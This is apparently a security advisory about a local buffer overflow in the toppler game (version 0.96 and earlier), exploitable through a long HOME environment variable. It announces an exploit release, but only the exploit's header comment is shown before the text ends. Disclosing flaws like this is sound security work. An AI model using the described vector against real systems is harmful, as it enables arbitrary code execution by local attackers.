Another Exploit Code Release for Toppler Game Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://toppler.sourceforge.net/> toppler is "an almost complete
reimplementation of the old game known as Tower Toppler or Nebulous. This
game was available at least for PC, Atari, and C64 and now the PC version
is abandonware". A locally exploitable buffer overflow in the product
allows local users to cause the product to execute arbitrary code by
issuing a long HOME environment variable. The following exploit code can
be used to test your system for the mentioned vulnerability.
DETAILS
Vulnerable systems:
* Topper version 0.96 and prior
Exploit:
/*
* /usr/bin/topper local exploit
* vul <= topper 0.96
*
* coded by nic
* Ps: i have see another ex,but it have many nops. ^^:)
